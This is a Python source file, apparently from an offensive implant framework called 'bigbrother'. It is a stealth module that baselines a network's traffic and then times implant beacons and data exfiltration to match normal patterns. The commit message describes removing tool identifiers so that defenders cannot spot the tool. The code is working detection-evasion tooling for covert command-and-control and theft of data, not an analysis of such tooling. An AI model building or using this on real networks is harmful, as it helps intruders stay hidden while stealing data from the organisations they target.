Files
bigbrother/modules/stealth/traffic_mimicry.py
T
Cobra ffd384f64b Strip OPSEC tool identity fingerprints
Replace all sensor.* logger namespaces with __name__ (generic module
identifiers instead of discoverable 'sensor.*' prefixes).

Change hardcoded 'bb' API user to 'admin' in config and code defaults.

Change hardcoded relay_user 'bb' to 'operator' — prevents network
profiling from exposing tool identity via SSH config.

Fixes #457, #458, #459
2026-04-08 22:18:35 -04:00

337 lines
13 KiB
Python

#!/usr/bin/env python3
"""Traffic mimicry module: baseline normal traffic patterns then shape
implant communications to match observed characteristics."""
import json
import logging
import os
import random
import time
import threading
from collections import defaultdict
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
PHASE_BASELINE = "baseline"
PHASE_SHAPING = "shaping"
# Default baseline storage
BASELINE_DIR = "storage/baseline"
class TrafficMimicry(BaseModule):
"""Two-phase traffic mimicry: 48h baseline collection then traffic shaping
to match observed network patterns."""
name = "traffic_mimicry"
module_type = "stealth"
priority = -200
requires_root = False
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._phase = PHASE_BASELINE
self._baseline_hours = config.get("baseline_hours", 48)
self._shape_exfil = config.get("shape_exfil", True)
self._match_protocols = config.get("match_protocols", True)
self._jitter_pct = config.get("jitter_pct", 15)
self._baseline_dir = config.get("baseline_dir", BASELINE_DIR)
self._baseline_start: Optional[float] = None
self._baseline_data = self._empty_baseline()
self._monitor_thread: Optional[threading.Thread] = None
self._lock = threading.Lock()
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
self._running = True
self._start_time = time.time()
self._pid = os.getpid()
Path(self._baseline_dir).mkdir(parents=True, exist_ok=True)
# Check if we have a saved baseline
saved = self._load_baseline()
if saved and self._baseline_complete(saved):
self._baseline_data = saved
self._phase = PHASE_SHAPING
logger.info("TrafficMimicry loaded existing baseline — entering shaping phase")
else:
self._phase = PHASE_BASELINE
self._baseline_start = time.time()
logger.info("TrafficMimicry entering baseline phase (%dh)", self._baseline_hours)
# Subscribe to capture events for baseline data
self.bus.subscribe(self._on_pcap_event, event_type="PCAP_ROTATED")
# Background thread for periodic baseline updates and phase transitions
self._monitor_thread = threading.Thread(
target=self._monitor_loop, daemon=True, name="sensor-traffic-mimicry",
)
self._monitor_thread.start()
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
def stop(self) -> None:
self._running = False
self.bus.unsubscribe(self._on_pcap_event, event_type="PCAP_ROTATED")
if self._monitor_thread and self._monitor_thread.is_alive():
self._monitor_thread.join(timeout=5.0)
# Persist current baseline
self._save_baseline()
self.state.set_module_status(self.name, "stopped")
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
logger.info("TrafficMimicry stopped")
def status(self) -> dict:
with self._lock:
completeness = self._baseline_completeness_pct()
deviation = self._traffic_deviation_score()
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"phase": self._phase,
"baseline_completeness_pct": completeness,
"traffic_deviation_score": deviation,
"baseline_hours_configured": self._baseline_hours,
"baseline_hours_elapsed": self._baseline_hours_elapsed(),
}
def configure(self, config: dict) -> None:
if "baseline_hours" in config:
self._baseline_hours = config["baseline_hours"]
if "shape_exfil" in config:
self._shape_exfil = config["shape_exfil"]
if "match_protocols" in config:
self._match_protocols = config["match_protocols"]
if "jitter_pct" in config:
self._jitter_pct = config["jitter_pct"]
# ------------------------------------------------------------------
# Traffic shaping API (called by other modules)
# ------------------------------------------------------------------
def get_recommended_beacon_interval(self) -> float:
"""Return a beacon interval (seconds) that matches observed periodic traffic."""
with self._lock:
intervals = self._baseline_data.get("periodic_intervals", [])
if not intervals:
return 300.0 # Default 5min if no baseline
# Pick the most common periodic interval and add jitter
base = random.choice(intervals)
jitter = base * (self._jitter_pct / 100.0) * (random.random() * 2 - 1)
return max(10.0, base + jitter)
def get_recommended_exfil_window(self) -> dict:
"""Return recommended exfil timing based on baseline upload patterns."""
with self._lock:
hourly = self._baseline_data.get("hourly_volume", {})
if not hourly:
return {"hour": 3, "duration_minutes": 15} # Default: 3 AM
# Find peak upload hour
peak_hour = max(hourly, key=lambda h: hourly[h].get("upload_bytes", 0), default=3)
return {
"hour": int(peak_hour),
"duration_minutes": 30,
"max_bytes": hourly.get(str(peak_hour), {}).get("upload_bytes", 1024 * 1024),
}
def should_send_now(self) -> bool:
"""Check if current time matches a high-traffic period (safe to send)."""
if self._phase == PHASE_BASELINE:
return False # Don't shape during baseline
with self._lock:
hourly = self._baseline_data.get("hourly_volume", {})
if not hourly:
return True
current_hour = str(time.localtime().tm_hour)
hour_data = hourly.get(current_hour, {})
volume = hour_data.get("total_bytes", 0)
avg_volume = sum(
h.get("total_bytes", 0) for h in hourly.values()
) / max(len(hourly), 1)
# Only send when current hour volume is above average
return volume >= avg_volume * 0.5
# ------------------------------------------------------------------
# Internal: baseline collection
# ------------------------------------------------------------------
@staticmethod
def _empty_baseline() -> dict:
return {
"protocol_distribution": {},
"hourly_volume": {},
"inter_packet_timing": [],
"common_dest_ports": {},
"tls_versions": {},
"periodic_intervals": [],
"samples": 0,
"start_time": None,
"end_time": None,
}
def _on_pcap_event(self, event) -> None:
"""Handle PCAP_ROTATED events for baseline data collection."""
if self._phase != PHASE_BASELINE:
return
payload = event.payload
with self._lock:
self._update_baseline_from_pcap(payload)
def _update_baseline_from_pcap(self, payload: dict) -> None:
"""Extract traffic pattern data from PCAP rotation event payload."""
bd = self._baseline_data
bd["samples"] += 1
if bd["start_time"] is None:
bd["start_time"] = time.time()
bd["end_time"] = time.time()
# Protocol distribution from payload stats
protocols = payload.get("protocol_stats", {})
for proto, count in protocols.items():
bd["protocol_distribution"][proto] = (
bd["protocol_distribution"].get(proto, 0) + count
)
# Hourly volume
hour = str(time.localtime().tm_hour)
if hour not in bd["hourly_volume"]:
bd["hourly_volume"][hour] = {"total_bytes": 0, "upload_bytes": 0, "packets": 0}
bytes_captured = payload.get("bytes_captured", 0)
bd["hourly_volume"][hour]["total_bytes"] += bytes_captured
bd["hourly_volume"][hour]["upload_bytes"] += payload.get("upload_bytes", 0)
bd["hourly_volume"][hour]["packets"] += payload.get("packet_count", 0)
# Destination ports
dest_ports = payload.get("dest_ports", {})
for port, count in dest_ports.items():
bd["common_dest_ports"][str(port)] = (
bd["common_dest_ports"].get(str(port), 0) + count
)
# TLS versions
tls = payload.get("tls_versions", {})
for ver, count in tls.items():
bd["tls_versions"][ver] = bd["tls_versions"].get(ver, 0) + count
# Periodic intervals (from beacon-like patterns)
intervals = payload.get("periodic_intervals", [])
bd["periodic_intervals"].extend(intervals)
# Keep only the top 50 intervals to bound memory
if len(bd["periodic_intervals"]) > 50:
bd["periodic_intervals"] = bd["periodic_intervals"][-50:]
# ------------------------------------------------------------------
# Internal: phase management
# ------------------------------------------------------------------
def _monitor_loop(self) -> None:
"""Background loop: check phase transitions and save baselines."""
while self._running:
time.sleep(60) # Check every minute
try:
if self._phase == PHASE_BASELINE:
elapsed = self._baseline_hours_elapsed()
if elapsed >= self._baseline_hours:
self._transition_to_shaping()
elif int(elapsed) % 4 == 0:
# Save interim baseline every ~4 hours
self._save_baseline()
except Exception:
logger.exception("TrafficMimicry monitor loop error")
def _transition_to_shaping(self) -> None:
"""Switch from baseline collection to traffic shaping."""
with self._lock:
self._phase = PHASE_SHAPING
self._save_baseline()
logger.info(
"TrafficMimicry: baseline complete (%d samples) — entering shaping phase",
self._baseline_data["samples"],
)
self.bus.emit(
"CHANGE_DETECTED",
{"module": self.name, "detail": "baseline_complete", "phase": PHASE_SHAPING},
source_module=self.name,
)
def _baseline_hours_elapsed(self) -> float:
if self._baseline_start is None:
return 0.0
return (time.time() - self._baseline_start) / 3600.0
def _baseline_completeness_pct(self) -> float:
"""How complete is the baseline (0-100)?"""
if self._phase == PHASE_SHAPING:
return 100.0
elapsed = self._baseline_hours_elapsed()
time_pct = min(100.0, (elapsed / self._baseline_hours) * 100)
# Also factor in data quality: need protocol and hourly data
data_score = 0.0
bd = self._baseline_data
if bd["protocol_distribution"]:
data_score += 25.0
if len(bd["hourly_volume"]) >= 12:
data_score += 25.0
elif bd["hourly_volume"]:
data_score += 10.0
if bd["common_dest_ports"]:
data_score += 25.0
if bd["samples"] >= 10:
data_score += 25.0
return min(100.0, (time_pct * 0.6) + (data_score * 0.4))
def _baseline_complete(self, data: dict) -> bool:
"""Check if a loaded baseline has sufficient data."""
return (
bool(data.get("protocol_distribution"))
and len(data.get("hourly_volume", {})) >= 6
and data.get("samples", 0) >= 5
)
def _traffic_deviation_score(self) -> float:
"""Score how much current traffic deviates from baseline (0=perfect, 100=no match).
Only meaningful during shaping phase."""
if self._phase == PHASE_BASELINE:
return -1.0 # Not applicable
# Placeholder: in production this would compare real-time traffic stats
# against the baseline distribution. For now return 0 (no deviation data yet).
return 0.0
# ------------------------------------------------------------------
# Internal: persistence
# ------------------------------------------------------------------
def _save_baseline(self) -> None:
"""Persist baseline data to JSON."""
path = os.path.join(self._baseline_dir, "traffic_baseline.json")
try:
with self._lock:
data = json.dumps(self._baseline_data, indent=2)
with open(path, "w") as f:
f.write(data)
logger.debug("Baseline saved to %s", path)
except Exception:
logger.exception("Failed to save baseline")
def _load_baseline(self) -> Optional[dict]:
"""Load baseline from disk if it exists."""
path = os.path.join(self._baseline_dir, "traffic_baseline.json")
if not os.path.isfile(path):
return None
try:
with open(path, "r") as f:
return json.load(f)
except Exception:
logger.exception("Failed to load baseline from %s", path)
return None